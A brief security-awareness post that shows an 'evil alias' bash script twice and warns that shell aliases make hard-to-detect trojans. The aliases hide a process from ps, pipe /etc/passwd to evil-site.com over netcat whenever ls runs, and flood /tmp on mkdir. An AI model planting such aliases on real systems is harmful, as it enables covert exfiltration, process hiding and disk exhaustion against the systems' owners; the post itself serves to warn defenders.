```bash
#!/usr/bin/env bash
alias ps="ps | grep -v myBadProcess"
alias ls="cat /etc/passwd | nc -v evil-site.com 8819 && ls"
alias mkdir="yes > /tmp/dump & ; mkdir $1"
```

Perform a well hardening of your host systems & be careful with the bot users

The Evil Alias!

```
#!/usr/bin/env bash
💡 ▾
alias ps="ps | grep -v myBadProcess"
alias ls="cat /etc/passwd | nc -v evil-site.com 8819 && ls"
alias mkdir="yes > /tmp/dump & ; mkdir $1"
```

- Old hack attack but useful

- Alias commands could be the best trojan in a system.

- There are very complicated to detect

Perform a well hardening of your host systems & be careful with the bot users

~ (zsh)
